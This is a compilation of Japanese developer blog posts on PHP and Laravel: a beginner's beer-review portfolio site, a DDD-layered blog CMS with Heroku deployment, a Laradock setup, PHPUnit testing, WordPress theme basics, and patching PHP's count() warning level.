- 投稿日:2020-03-14T23:51:41+09:00
Laravelでクラフトビールまとめサイト作ってみた。TechPitの教材をアレンジしました。
はじめに
プログラミング学習を初めて4か月がたちました。
最近、といってもかれこれ1か月弱前ですが、Laravelでのポートフォリオ作成を終えました。
せっかくなので、この記事で紹介させていただこうと思います。
CRAFTBERRS~アプリ紹介~
こんな感じのビールまとめサイトになっております。
・トップページ
・レビュー投稿ページ
・レビュー詳細ページ
・レビュー編集ページ
・プロフィールページ
・ユーザー一覧ページ(プロフィール画像のアップロード機能は未実装)
・検索機能(これはIPAで絞り込んだケース)
・エラーページ
・一応レスポンシブ対応
以下がリンクになります。
作り終えた所感
細かいこと上げればキリがなく、改善できる部分も、本当であればユーザー編集機能や並び替え機能など実装したい機能もまだまだあります。ただ、デプロイでひと段落させてしまったのがよくなかった。
やっぱり誰にも使われないサービスに時間割いても。。。って考えが付きまとってあまり改修する気にもならなくなってしまいました。泣
あと実は、Xserverにデプロイしているのですが、ローカル環境だとアクセスできるのに、本番環境だと編集・削除のページに飛べず、現状はエラーページにリダイレクトされてしまいます。ここら辺も未だに原因が正直掴めておらず。
教本や学習サイトでも、これ以上に踏み込んだ内容の教材が少なく、なかなか苦戦している状態です。
(言い訳すみません。)(英語での公式ドキュメントや動画学習などで、スキルアップしながら改修していくのがいいんだろうなとは思っています。)
おわりに
なんかネガティブな所感になってしまいましたが、とはいえ、LaravelでオリジナルのWebアプリを自作&デプロイまで持って行けたことは1つ自信に繋がりました。
今後は、引き続きLaravelの学習からのVue.jsなどのフロンドエンドフレームワークとの連携、またPythonでのデータ分析にも興味があるため、そっち方面の学習もしてみようかなと思っています。
(高校・大学と音楽一筋でまともに英語や数学の勉強をしてこなかったことを今になって後悔してます。目指せ人生大逆転。笑)あとは、誰かと共同してWebアプリ開発をしてみたいなとか妄想してます。求む同志!!笑
(実際、転職活動なり共同制作できたら未経験エンジニアにとって有利に働くんじゃないかなって思ってるので気になった方いましたらTwitterなりでご連絡ください(土下座)。そうじゃなくてもプログラミングスクール通ったりしたわけでもないので、エンジニア界隈の繋がりも少なく、気軽にお声がけいただけますと幸いです。泣いて喜びます(土下座)。)拙い記事でしたが、読んでいただきましてありがとうございました。おしまい。
追記
このポートフォリオの参考にした教材は以下です。
TechPitはポートフォリオ制作にもってこいの学習サイトで、僕も愛用しております。ありがとうございました!!
Laravel6とAWSで作るブックレビューサイト
https://www.techpit.jp/p/laravel6-aws
Techpit(学び放題コースだと月額2980円でいろいろ作れちゃいます◎)
https://www.techpit.jp/courses/
- 投稿日:2020-03-14T23:51:41+09:00
Laravelでクラフトビールまとめサイト作ってみた。
はじめに
プログラミング学習を初めて4か月がたちました。
最近、といってもかれこれ1か月弱前ですが、Laravelでのポートフォリオ作成を終えました。
せっかくなので、この記事で紹介させていただこうと思います。
CRAFTBERRS~アプリ紹介~
こんな感じのビールまとめサイトになっております。
・トップページ
・レビュー投稿ページ
・レビュー詳細ページ
・レビュー編集ページ
・プロフィールページ
・ユーザー一覧ページ(プロフィール画像のアップロード機能は未実装)
・検索機能(これはIPAで絞り込んだケース)
・エラーページ
・一応レスポンシブ対応
以下がリンクになります。
作り終えた所感
細かいこと上げればキリがなく、改善できる部分も、本当であればユーザー編集機能や並び替え機能など実装したい機能もまだまだあります。ただ、デプロイでひと段落させてしまったのがよくなかった。
やっぱり誰にも使われないサービスに時間割いても。。。って考えが付きまとってあまり改修する気にもならなくなってしまいました。泣
あと実は、Xserverにデプロイしているのですが、ローカル環境だとアクセスできるのに、本番環境だと編集・削除のページに飛べず、現状はエラーページにリダイレクトされてしまいます。ここら辺も未だに原因が正直掴めておらず。
教本や学習サイトでも、これ以上に踏み込んだ内容の教材が少なく、なかなか苦戦している状態です。
(言い訳すみません。)(英語での公式ドキュメントや動画学習などで、スキルアップしながら改修していくのがいいんだろうなとは思っています。)
おわりに
なんかネガティブな所感になってしまいましたが、とはいえ、LaravelでオリジナルのWebアプリを自作&デプロイまで持って行けたことは1つ自信に繋がりました。
今後は、引き続きLaravelの学習からのVue.jsなどのフロンドエンドフレームワークとの連携、またPythonでのデータ分析にも興味があるため、そっち方面の学習もしてみようかなと思っています。
(高校・大学と音楽一筋でまともに英語や数学の勉強をしてこなかったことを今になって後悔してます。目指せ人生大逆転。笑)あとは、誰かと共同してWebアプリ開発をしてみたいなとか妄想してます。求む同志!!笑
(実際、転職活動なり共同制作できたら未経験エンジニアにとって有利に働くんじゃないかなって思ってるので気になった方いましたらTwitterなりでご連絡ください(土下座)。そうじゃなくてもプログラミングスクール通ったりしたわけでもないので、エンジニア界隈の繋がりも少なく、気軽にお声がけいただけますと幸いです。泣いて喜びます(土下座)。)拙い記事でしたが、読んでいただきましてありがとうございました。おしまい。
- 投稿日:2020-03-14T23:47:00+09:00
DDD的なLaravelで実装するブログCMS#1
目的
昔はよくやってたのに最近ブログとかQiitaでアウトプットしてないなぁと思ったのでアウトプットしたいと思います。
お題はドメイン駆動設計です。
これからのアウトプットの拠点としたいブログ型CMS構築を進めていく形式で具体的なコード一緒に考え方を書いていきたいと思います。
DDDそのものについての説明はweb上にたくさん資料があるので省きまして、実際に実装に落とす時にどうするかという点で誰かの参考になれば良いなという感じで書いていきます。DB設計
DDDとはあまり関係が無いですが、DB設計する時にはまずはパクれる(参考にできる)設計が無いか、ということ考えるようにしています。
今回ならブログなのでwordpressのDB設計が参考になります。
自分で考えてると0から色んなこと考えなきゃいけなくてめんどくさいので、基本的にはつくりたいものに近いもので有名なオープンソースを探して参考にすると良いです。データベース構造 - WordPress Codex 日本語版
postsテーブル、commentsテーブルをつくる
↑の設計を参考に必要なカラムだけ定義します。
そんなたくさんデータ入らないためインデックスは省略します。$ php artisan make:migration create_posts_table --create=postscreate_posts_table.phppublic function up() { Schema::create('posts', function (Blueprint $table) { $table ->bigIncrements('id') ->unsigned() ->comment('投稿ID(保存順に自動採番)'); $table ->string('post_name', 200) ->comment('投稿スラッグ'); $table ->string('post_title', 200) ->comment('タイトル'); $table ->longText('post_content') ->comment('本文'); $table ->string('post_status', 20) ->default('publish') ->comment('publish: 公開 private: 非公開'); $table ->string('post_type', 20) ->default('post') ->comment('post: 投稿 page: ページ'); $table ->dateTime('post_date') ->comment('投稿日時'); $table ->dateTime('post_modified') ->comment('更新日時'); }); }create_comments_table.phppublic function up() { Schema::create('comments', function (Blueprint $table) { $table ->bigIncrements('comment_id') ->unsigned() ->comment('コメントID(投稿順に自動採番)'); $table ->unsignedBigInteger('comment_post_id') ->comment('コメントが属する投稿ID'); $table ->foreign('comment_post_id') ->references('id') ->on('posts'); $table ->ipAddress('comment_author_ip') ->comment('コメント投稿者の IPアドレス'); $table ->longText('comment_content') ->comment('コメント内容'); $table ->string('comment_agent', 255) ->comment('コメント投稿者のユーザエージェント'); $table ->dateTime('comment_date') ->comment('コメント投稿日時'); }); }$ php artisan migrate
出来ました。
実装
独自に切り出したディレクトリ配下に実装を入れていきます。
フレームワークのコードと自分のコードが混らないようにしてつくっていきます。
考え方としてはフレームワークを土台としてその上に乗って開発してしまうのではなく、しっかりフレームワークと分離した場所に展開する自分のコードの中から必要な時にフレームワークのリソースを活用していく感じです。(Laravelはこれがやりやすいです)レイヤードアーキテクチャ
レイヤードアーキテクチャをめちゃくちゃ雑に説明するとこんな感じで層を分けてドメインをくっきりさせるということをやる分け方です。上は下に依存していいけど下は上に依存しないようにします。
- UserInterface: ユーザに情報を表示するところ。ユーザや外部システムの入力を解釈する責任をもつ。
- Application: ソフトウェアが行うことになっている仕事を定義するところ。ここにはいっぱいコード書かない。やるべきことを調整するだけ。
- Domain: ビジネスの概念が集中するとか言われてもピンとこないやつ。上手にDDDできてるとここの中に置くモデルにそのアプリケーション特有の仕様がギュッと集まって幸せになれる。
- Infrastructure:DBとやりとりしてドメインモデルを永続化したり、取り出したデータをドメインモデルに変換して返したりするところ。
上からいった方がイメージしやすいんじゃないか説があるので上からいきます。
ユーザインターフェイス層
ユーザに情報を表示したり入力を解釈したりするやつ。
Laravelでviewファイルはデフォルトではresources/views/
配下に置きますが、config/view.php
で変更できます。
この層でif文が多いとロジックが漏れ出してます。
テンプレートをいじるHTMLコーダーにとってわかりやすくていじりやすくなってれば良い状態と言えるでしょう。例えば↓こんな感じです
bad.php<p> @if($user->gender == 'men') 私は男です @elseif($user->gender == 'women') 私は女です @endif </p>good.php<p>{{ $user->sayGender() }}</p>前者はviewにロジックが書いてありますが後者ではロジックがUserモデルの
sayGender
関数に隠れてます。
後者の方がフロント係が触りやすいですね。以下、初期設定〜投稿フォームの実装です。
composer.json... "autoload": { "psr-4": { "App\\": "app/", "Blog\\": "packages/Blog/" }, ...config/view.php... 'paths' => [ // resource_path('views'), base_path('packages/Blog/UserInterface/Blade'), ], ...app/Providers/RouteServiceProvider.php... protected $namespace = 'Blog\Application\Http\Controllers'; ... protected function mapWebRoutes() { Route::middleware('web') ->namespace($this->namespace) ->group(base_path('packages/Blog/UserInterface/Routes/web.php')); } ...そういえば認証つけないと誰でも投稿できるんですが、一旦気にしないことにします。
(次回以降のお題としたいと思います)web.php<?php use Illuminate\Support\Facades\Route; Route::prefix('blog')->group(function () { Route::resource('posts', 'PostController'); });アプリケーション層
この層は「どんな仕事をするのかだけ書いて薄くシンプルに保つ」を気をつけて書きましょう。
「誰が」「何を」するのか主語述語をハッキリとわかりやすく表現したシングルメソッドのUseCaseクラスを書き、入出力のインターフェイスとしてValueObjectを利用します。PostController.php<?php namespace Blog\Application\Http\Controllers; use Blog\Application\UseCase\AuthorPublishPost; use Blog\Application\UseCase\UserGetNewPosts; use Blog\Domain\Object\Post\PostContent; use Blog\Domain\Object\Post\PostName; use Blog\Domain\Object\Post\PostTitle; use Illuminate\Http\Request; class PostController extends BlogController { public function create() { return view('Post.create'); } public function index(UserGetNewPosts $userGetNewPosts) { $posts = ($userGetNewPosts)(); return view('Post.index', compact('posts')); } public function store(Request $request, AuthorPublishPost $authorPublishPost) { $name = PostName::of($request->input('name')); $title = PostTitle::of($request->input('title')); $content = PostContent::of($request->input('content')); ($authorPublishPost)($name, $title, $content); return redirect()->route('posts.index'); } }UserGetNewPosts.php<?php namespace Blog\Application\UseCase; use Blog\Infrastructure\Repositories\PostRepository; class UserGetNewPosts { /** @var PostRepository */ private $postRepo; public function __construct(PostRepository $postRepo) { $this->postRepo = $postRepo; } public function __invoke() { $posts = $this->postRepo->all(); return $posts; } }油断するとバリデーション処理とかレスポンスつくる処理だけでも結構行数増えてしまうところです。
今はやりませんが投稿処理にバリデーションを付けたくなったらFormRequestを継承したPostFormRequestを実装してその中でバリデーションやらを処理します。何でもかんでもUseCaseとかServiceクラスとして実装してカオスと化したクラス墓場みたいなのよく見ますが、そうはならないようにしましょう。
実装したいものの役割、責任をしっかりイメージしてどこに何を置いてどんな仕事をさせるのか。
これをしっかり考えて整理していけば自然とドメイン層に重要な情報が集中して書けば書くほど後の実装が楽になっていきます。ドメイン層
↑で実行していたValueObjectの生成とPostEntityの生成について。
EntityもValueObjectも原則constructerをprivateにして守り、どこでも自由にインスタンス生成されるのを防ぎます。こんな感じ。
PostName.php<?php namespace Blog\Domain\Object\Post; use Blog\Domain\Exceptions\TooLongStringException; use Blog\Domain\Object\ValueObject; final class PostName extends ValueObject { /** @var string */ protected $value; /** @var int */ private const MAX_STRING_NUM = 200; private function __construct() {} /** * @param string $name * @return PostName * @throws TooLongStringException */ public static function of(string $name):PostName { if (self::MAX_STRING_NUM < mb_strlen($name)) { throw new TooLongStringException(); } $postName = new PostName(); $postName->value = $name; return $postName; } }↑PostNameという値の仕様がクラスで表現されています。
MVC的な文脈で言われるFatControllerやFatModel(Fat=コード量多い)の問題って大体適当にサービスクラス増やしたりして結局どっかがしわ寄せ食らって終わるみたいなイメージがありますが、DDDでは
- ControllerはHTTPリクエスト検査し、ValueObjectを作成して適切なUseCase,Serviceに渡し得た値をレスポンスするだけ
- ModelはModel本来の仕様に集中し、値の仕様はValueObjectに逃し、データのIOはRepositoryが行う
↑こうするのでControllerもModelも太らずにすみます。
全ての値をValueObjectにする必要は無いと思いますが、Modelが本質的な仕様の実装に集中するために非常に重要な手段なのでめんどくさがらずに丁寧に実装することをおすすめします。AuthorPublishPost.php<?php namespace Blog\Application\UseCase; use Blog\Domain\Object\Post\PostContent; use Blog\Domain\Object\Post\PostEntity; use Blog\Domain\Object\Post\PostName; use Blog\Domain\Object\Post\PostTitle; use Blog\Infrastructure\Repositories\PostRepository; class AuthorPublishPost { /** @var PostRepository */ private $postRepo; public function __construct(PostRepository $postRepo) { $this->postRepo = $postRepo; } public function __invoke(PostName $postName, PostTitle $postTitle, PostContent $postContent) { $postEntity = PostEntity::newPost($postName, $postTitle, $postContent); $this->postRepo->store($postEntity); } }PostEntity.php<?php namespace Blog\Domain\Object\Post; final class PostEntity { /** @var PostId */ private $id; /** @var PostName */ private $postName; /** @var PostTitle */ private $postTitle; /** @var PostContent */ private $postContent; /** @var PostStatus */ private $postStatus; /** @var PostType */ private $postType; /** @var PostDate */ private $postDate; /** @var PostModified */ private $postModified; private function __construct() {} public static function of ( PostId $postId, PostName $postName, PostTitle $postTitle, PostContent $postContent, PostStatus $postStatus, PostType $postType, PostDate $postDate, PostModified $postModified ):PostEntity { $postEntity = new PostEntity(); $postEntity->id = $postId; $postEntity->postName = $postName; $postEntity->postTitle = $postTitle; $postEntity->postContent = $postContent; $postEntity->postStatus = $postStatus; $postEntity->postType = $postType; $postEntity->postDate = $postDate; $postEntity->postModified = $postModified; return $postEntity; } public static function newPost(PostName $postName, PostTitle $postTitle, PostContent $postContent):PostEntity { $postEntity = new PostEntity(); $postEntity->postName = $postName; $postEntity->postTitle = $postTitle; $postEntity->postContent = $postContent; return $postEntity; } public function id():PostId { return $this->id; } public function postName():PostName { return $this->postName; } public function postTitle():PostTitle { return $this->postTitle; } public function postContent():PostContent { return $this->postContent; } }インフラ層
上位のレイヤを支える一般的な技術的機能を提供する
とエバンス本には書いてあります。
つまりドメインモデルをインスタンス化するためにストレージからデータを取り出したり、逆にアプリケーションの実行するユースケースがEntityに対して加えた状態変化をストレージで永続化したりする時に利用する一般的な技術的機能についての実装がここに入るということで、MySQLやRedisなどのIOを実装します。ここで複雑な実装が入ってしまうとドメインが扱うべきビジネスロジックが漏れてるってことになるので良くないみたいに言われています。
1つのEntityを表現したい時にテーブル設計にもよりますがjoinしたい時はままあるのでjoinは許容して良いと思います。
ただ値に関してcaseやif、REPLACEで値を置き換えてしまうような処理は、あとで変えたくなった時のことを考えるとValueObjectなどで吸収した方が変更コストが少なくて幸せそうです。PostRepository.php<?php namespace Blog\Infrastructure\Repositories; use Blog\Domain\Object\Post\PostContent; use Blog\Domain\Object\Post\PostDate; use Blog\Domain\Object\Post\PostEntity; use Blog\Domain\Object\Post\PostId; use Blog\Domain\Object\Post\PostModified; use Blog\Domain\Object\Post\PostName; use Blog\Domain\Object\Post\PostStatus; use Blog\Domain\Object\Post\PostTitle; use Blog\Domain\Object\Post\PostType; use Blog\Infrastructure\Eloquents\PostEloquent; use Illuminate\Support\Collection; class PostRepository { /** @var PostEloquent */ private $postElo; public function __construct(PostEloquent $postElo) { $this->postElo = $postElo; } public function store(PostEntity $postEntity) { $postElo = new PostEloquent(); $postElo->post_name = $postEntity->postName(); $postElo->post_title = $postEntity->postTitle(); $postElo->post_content = $postEntity->postContent(); $postElo->save(); } public function all():Collection { $posts = $this->postElo::query() ->orderByDesc('post_date') ->get() ->map(function($post){ return PostEntity::of( PostId::of($post->id), PostName::of($post->post_name), PostTitle::of($post->post_title), PostContent::of($post->post_content), PostStatus::of($post->post_status), PostType::of($post->post_type), PostDate::of($post->post_date), PostModified::of($post->post_modified) ); }); return $posts; } }投稿一覧の実装
UserInterface層に戻って、リポジトリから取り出したEntityで投稿一覧を実装します。
テストデータ欲しい
SeederとFactoryを使ってテストデータを生成します。
https://readouble.com/laravel/7.x/ja/seeding.html
$ php artisan make:seeder PostsTableSeeder
PostsTableSeeder.php<?php use Illuminate\Database\Seeder; use Blog\Infrastructure\Eloquents\PostEloquent; class PostsTableSeeder extends Seeder { /** * Run the database seeds. * * @return void */ public function run() { factory(PostEloquent::class, 50)->create(); } }PostFactory.php<?php /** @var \Illuminate\Database\Eloquent\Factory $factory */ use Blog\Infrastructure\Eloquents\PostEloquent; use Faker\Generator as Faker; /* |-------------------------------------------------------------------------- | Model Factories |-------------------------------------------------------------------------- | | This directory should contain each of the model factory definitions for | your application. Factories provide a convenient way to generate new | model instances for testing / seeding your application's database. | */ $factory->define(PostEloquent::class, function (Faker $faker) { return [ 'post_name' => $faker->slug, 'post_title' => $faker->title, 'post_content' => $faker->realText(), ]; });$ composer dump-autoload $ php artisan db:seed --class=PostsTableSeeder入りました。
Post/index.php@extends('Layouts.blog') @section('content') <div class="uk-grid" data-ukgrid> <div class="uk-width-2-3@m"> <h4 class="uk-heading-line uk-text-bold"><span>Latest Posts</span></h4> @foreach($posts as $post) <article class="uk-section uk-section-small uk-padding-remove-top"> <header> <h2 class="uk-margin-remove-adjacent uk-text-bold uk-margin-small-bottom"> <a title="Fusce facilisis tempus magna ac dignissim." class="uk-link-reset" href="#"> {{ $post->postName() }} </a> </h2> <p class="uk-article-meta">Written on {{ $post->postDate()->diff() }}</p> </header> <p>{{ $post->postContent() }}</p> <a href="#" title="Read More" class="uk-button uk-button-default uk-button-small">READ MORE</a> <hr> </article> @endforeach </div> <div class="uk-width-1-3@m"> <h4 class="uk-heading-line uk-text-bold"><span>About</span></h4> <div class="uk-tile uk-tile-small uk-tile-muted uk-border-rounded"> Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in. </div> </div> </div> @endsection投稿個別ページの実装
マークダウンで投稿したいのでライブラリ調べました。
そしたら↓コレ
Laravel: There is a Markdown parser and you don’t know it
Laravelにはマークダウンパーサーがあるのに知られてない
だって、マークダウンでEmailを書けるじゃん!
確かに。
ということでインストールする必要ないので実装していきます。PostContent.php<?php namespace Blog\Domain\Object\Post; use Blog\Domain\Object\ValueObject; use Illuminate\Mail\Markdown; final class PostContent extends ValueObject { /** @var PostContent */ protected $value; public static function of(string $content): PostContent { $postContent = new PostContent(); $postContent->value = $content; return $postContent; } public function __toString():string { return Markdown::parse($this->value)->toHtml(); } }↑の記事の内容と少し違いますが、コード読んだらコレで十分なのがわかったのでコレでいきます。
PostContentのValueObjectに実装しました。
普通にEloquentをモデルとして実装してるとこの実装はPostEloquentに入ることになると思うのですが、ValueObjectで実装しているとMarkdownクラスを誰が必要としているのか(ないし依存しているのか)が明確になります。
その分、PostEntityは記述が減って、自身が複数もつValueObjectの集合でしか表現できないより重要な仕様を表現することに集中することができます。## h2だよ >引用だよ - リスト - リスト - リスト ### h3だよ うぎゃああああああああリリース
DDD関係ないけどherokuにデプロイしてドメイン当てて公開するとこまでやりたいと思います。
Getting Started with Laravel on Heroku
Laravelはログファイルをstorageディレクトリの下に吐くんですが、herokuは仕様的にデプロイしたアプリケーションがファイルシステムへ書き込めないようになっているのでその辺の設定を書き換える必要があります。
config/logging.php<?php return [ 'default' => env('LOG_CHANNEL', 'stack'), 'channels' => [ 'stack' => [ 'driver' => 'stack', 'channels' => ['single'], ], 'single' => [ 'driver' => 'errorlog', 'level' => 'debug', ], …MySQL設定
$ heroku addons:create cleardb:ignite $ heroku config:get CLEARDB_DATABASE_URL mysql://**** $ heroku config:set \ DB_CONNECTION=mysql \ DB_HOST=**** \ DB_DATABASE=**** \ DB_USERNAME=**** \ DB_PASSWORD=**** \ $ heroku run php artisan migrateCustom Domain
完成
https://www.ta9to.com/blog/posts
おわり
コードも書いて文章も書いてリリースまでできて満足です。
2020年はアウトプットするぞー!
- 投稿日:2020-03-14T22:35:57+09:00
[PHP初学者向け]Laradockが便利だったのでPHPの動作確認できるプログラムを書いてみた
はじめに・背景
最近、面接や書類選考でお祈りされる理由として、LAPRAS のページや Github を参考にして頂いたところ、
参考: 当方の LAPRAS のページ
参考: 当方の Github ページスキル的に Ruby に偏っているのでうちマッチするポジションを云々というのが挙げられるのですが、いや、誤解ですから!
確かに 10 年前ぐらいは Ruby をしこたまやって、OSS で拡張ライブラリ作って Github に挙げまくって本まで書いていましたけど(絶版しちゃったけど)! 今は Ruby に全然こだわってませんから! 他が目立てないだけですから!…という、本当にめっちゃもったいない目に 2 回ほど遭ったわけです。
ただ、他の言語もやってますよ! と言っても、アウトプットと呼べるものは paiza の Python3 スキルチェックで S ランク取得したぐらいで確かにそう誤解されても仕方がないのも事実です。
そこで、最近案件としてめっちゃ上がっている PHP のアウトプットをしようということにしたわけです。
(補足)当方の個人サイトは、現在、PHP+Laravel で構築中して Github で管理しているのですが、さすがにプライベート領域な話ですので、プライベートリポジトリとしていまして…その点ではアウトプットにできないのです。
環境選び
では、PHP を勉強する際に環境を選ぼうというわけですが、当方のマイマシンに Docker を入れているのでこれを活用しましょうと。
以前、PHP の勉強用に Docker で遊び場用リポジトリを作ってみて、その記事を Qiita にも書いたのですが( 参考: 今度はPHP(LAMP)環境をDockerで再発明してみた )、Laravel で色々遊んでみようとしたときに Laradock の存在を知り、最初から Laravel どころか nginx ・ Apache ・ MySQL ・ Redis ・ PHPMyAdmin ・ Beanstalk も入っているという、 「PHP 環境の宝石箱やー!」と叫びたくなったわけです。
参考: PHPフレームワーク「Laradock」で、手軽にLaravel+Dockerな開発環境を構築する
(補足)Homested も検討してましたが、 Vagrant 必須とのことで、VirtualBox が入っていない(以前は入れていましたが、ネットワークドライバ絡みで謎の青画面が頻発していたためアンインストールしました)こともあり、Docker が使えそうなものを探していました。
プログラミングの勉強ついでにプログラムランチャも作った
こうして、「独習 PHP 第3版」片手に PHP の勉強をはじめました。実行結果はブラウザに出して、エラーは Docker のコンソールから確認します。テストスイートはどうするかは「これから考える」ですが、早くノウハウを取得できればなぁと。
これらのファイルは Guthub のリポジトリとして公開していますので、ご興味のある方はどうぞ。
そのうち、動作確認にいちいちブラウザの URL 欄にファイル名を書くのは面倒ということで、ズボラな私は「それも PHP にやらせたらえーやん」と思いつき、 index.php にその機能をもたせてみました。
ブラウザの URL 欄に
http://localhostと打ち込むと index.php が読み込まれてファイル・ディレクトリの一覧が現れます。リロードすれば追加したファイルも反映されます。
あとは、確かめてみたい .php ファイルをクリックすれば、プログラムが実行されて結果が出てくる仕掛けです。ほら、簡単でしょう?他にも、CSS とかを使って見た目をより華やかにすれば PHP 習得のモチベーションも上がるかなとは思いますが、今の所必要ではないので「いつかやるリスト」に入れるのみにしています。
最後に
この機能を組み込むために require_once でのモジュール化といった PHP の基礎をがっつり楽しめたのは大収穫でした。やっぱり「ズボラしたい」は学習の源ですね。
おそらく、PHP を学ぶ上でまだ考慮すべき点も残っていると思いますし、Laravel でのサイト構築も進めたいです。とりあえず、区切りができたので今回はこの辺で御暇いたします。
- 投稿日:2020-03-14T22:00:19+09:00
Laravelでテストしてみる
概要
前回作った環境をテストする
環境
Laravel 7.0.8
Valet 2.8.1Laravelの構造
テストをする前に前回のおさらいを踏まえて、構造を整理
MVC
Model、View、Controllerにプログラムの役割を分割した設計手法を採用
Model
データ処理全般、DBとの受け渡し:app/View
ユーザーインターフェス、画面関連:resources/views/Controller
全体の制御、モデルとビューをコントロール:app/Http/Controllers/MVCのフォルダだけを表示すると、
. ├── app │ └── Http │ └── app/Http/Controllers └── resources └── viewsただし、Modelについては、どのフォルダに配置してもよい
modelsディレクトリはどこにある?
Laravelを学習し始めるとき、多くの開発者はmodelsディレクトリが存在しないことに戸惑います。しかし、意図的にこのディレクトリを用意していません。多くの別々の人達にとって、その意味合いはさまざまなため、"models"という言葉の定義は曖昧であることに私達は気づきました。ある開発者たちはすべてのビジネスロジックを総称してアプリケーションの「モデル」と呼び、一方で別の人達はリレーショナルデータベースに関連するクラスを「モデル」として参照しています。
このため、私達はEloquentモデルをデフォルトではappディレクトリ下へ設置することを選択し、開発者自分が選んだどこか別の場所へ設置してもらうことにしましたhttps://readouble.com/laravel/6.x/ja/structure.html
Webサイトを開いてからの処理の流れは、ざっと以下の流れ
ユーザーからのリクエスト │ ルーティング │ コントローラー │ ├── ビュー │ モデル │ データベース詳しくてわかりやすい解説は https://miyabi-lab.space/blog/22
前回は、モデルは触らずに使わずにルーティングで設定したコントローラーからビューを表示させた。今回は、モデルからデータベースの読み書きを行う。
====
MVC参考
https://www.ritolab.com/entry/48
====テストもご一緒に
テストは先に書いてもいいし後でもいいけれど、テストも書きながら、
サイト作りを進めます。PHPUnit
Laravelに用意されているテスト用フレームワークPHPUnitを使います。
. └── tests ├── Feature │ └── ExampleTest.php └── Unit └── ExampleTest.php|テストには一つのメソッドを対象とするユニットテストと、コードを広く対象とした機能(Feature)テストがあります。testsディレクトリにそれぞれのディレクトリがあり、サンプルがあるので見てみると、
ExampleTest.php<?php namespace Tests\Feature; use Illuminate\Foundation\Testing\RefreshDatabase; use Tests\TestCase; class ExampleTest extends TestCase { /** * A basic test example. * * @return void */ public function testBasicTest() { $response = $this->get('/'); $response->assertStatus(200); } }これを流用できそうですが、artisan コマンドでテストが作れるので試します。
$ php artisan make:test UserTest Test created successfully.中身はサンプルとほぼ一緒でした。
UserTest.php<?php namespace Tests\Feature; use Illuminate\Foundation\Testing\RefreshDatabase; use Illuminate\Foundation\Testing\WithFaker; use Tests\TestCase; class UserTest extends TestCase { /** * A basic feature test example. * * @return void */ public function testExample() { $response = $this->get('/'); $response->assertStatus(200); } }これを以下を満たすように変更します。
サイトが正常に表示:
HTTP レスポンスステータスコードが200
画面に「Hello World」の文字列があるUserTest.php//del public function testExample() { $response = $this->get('/'); //add public function testRespose() { $response = $this->get('/user'); public function testText() { $text = $this->get('/user'); $text->assertSeeText("Hello World"); }で早速実行してみる
$ php vendor/bin/phpunit tests/Feature/UserTest.php PHPUnit 8.5.2 by Sebastian Bergmann and contributors. .. 2 / 2 (100%) Time: 788 ms, Memory: 18.00 MB OK (2 tests, 2 assertions)OKを確認。2つのテストで2つの検証が成功したという意味。ちなみにテストが失敗すると
DIR/blog/vendor/laravel/framework/src/Illuminate/Testing/TestResponse.php:432 DIR/blog/tests/Feature/UserTest.php:27 FAILURES! Tests: 2, Assertions: 2, Failures: 2.参考
https://readouble.com/laravel/6.x/ja/testing.html次回は、データベースを使う簡単なサイトを作ります。
- 投稿日:2020-03-14T21:04:00+09:00
WordPressテーマ作成法
はじめに
WordPressのテーマ(テンプレート)作成方法について、ざっくりとまとめてみます。
今後、随時追記予定です。最低限必要なファイル(ページ)
WordPressのテーマを作るにあたり、最低限必要となるのは以下のファイルです。
- index.php
- style.css
なお、
style.css
には、以下の情報を記入します。style.css/* Theme name: テーマの名称 Theme URI: テーマのURI(ダウンロードページなど) Description: テーマの説明 Version: テーマのバージョン Author: テーマ作成者の名前 Author URI: テーマ作成者のホームページのURI */
一般的なファイル構成
上で書いたのは、「最低限」必要なファイルで、一般的には以下のようなファイル構成になることが多いです。
- front-page.php:ブログのトップページ
- single.php:個別の記事ページ
- page.php:固定ページ
- category.php:カテゴリーページやタグページ
- search.php:検索結果ページ
- archive.php:記事一覧ページ
- 404.php:404エラーページ
まとめ
ここでは、WordPressのテーマ作成法法についてざっくりとまとめてみました。
まだ書き切れていないところが多々あるので、今後も追記していきます。
- 投稿日:2020-03-14T18:24:34+09:00
自己責任でPHP7のcount()関数を改造する
Parameter must be an array or an object that implements Countable
古いPHPのプログラムをPHP7.2以降で動かして、上記エラーの山に呆然となった人も多いことでしょう。
私もそうです。プログラムをgrepしてみたら、数100か所でcount()関数が使われていました。
それらに全部countableな値が渡されているのかチェックするのは苦痛でしたし、書き換えの事を考えると吐きそうです。新しい関数を作ったとしても、count()関数を使っている箇所全てを書き直さないといけません。
一括置換をかけたいのですが、困ったことに
select count(*) from…
とか恐ろしい記述があったりします。php.ini等で、warning抑制という荒業もありますが、
私はその環境で関発出来る自信がありません。try~catchで捕捉しようかとも思いましたが、
既存のファイル構造上めんどくさそうでした。てか、なんで互換モードとかないんだろう…。
ネットで検索しても、「これだ!!」という解決策は見つかりませんでした。
というわけで・・・
自己責任でPHP本体を改造します!!
これは
- PHPのバージョンは、7.4.3
- 同じサーバで他のWEBサイトが動いてないこと
- PHPがソースコードからのコンパイルでインストールされていること
- トラブルが起きても他人のせいにしないこと
が、前提条件となっています。
条件を満たせない場合は、
素直に「is_countable」で検索してください。エラーを出さないこともできるのですが、今回は
E_WARNING を E_NOTICE に変える改造をします。
別にE_DEPRECATEDでもいいと思います。
php.ini等でエラー出力を制御できればいいです。対象ファイルは、
- Zend/zend_vm_def.h(書き換え1か所)
- Zend/zend_vm_execute.h(書き換え3か所)
- ext/standard/array.c(書き換え3か所)
の3ファイルです。
Zend/zend_vm_def.h, Zend/zend_vm_execute.h の書き換え箇所は、
zend_error(E_WARNING, "%s(): Parameter must be an array or an object that implements Countable", opline->extended_value ? "sizeof" : "count");これを、
zend_error(E_NOTICE, "%s(): Parameter must be an array or an object that implements Countable", opline->extended_value ? "sizeof" : "count");に書き換えます。(E_WARNING → E_NOTICE)
多分コメントアウトしてしまえば、NOTICEすら発生しません。(試してない)ext/standard/array.c は、
php_error_docref(NULL, E_WARNING, "Parameter must be an array or an object that implements Countable");これを、
php_error_docref(NULL, E_NOTICE, "Parameter must be an array or an object that implements Countable");に書き換えます。(E_WARNING → E_NOTICE)
あとは念のため、make clean して再インストールします。
怖いのでmake test はしません。make clean ./configure {オプション自由} make make installあとは、
<?php print count(NULL); ?>などして、WARNINGが発生しないことを確認してください。
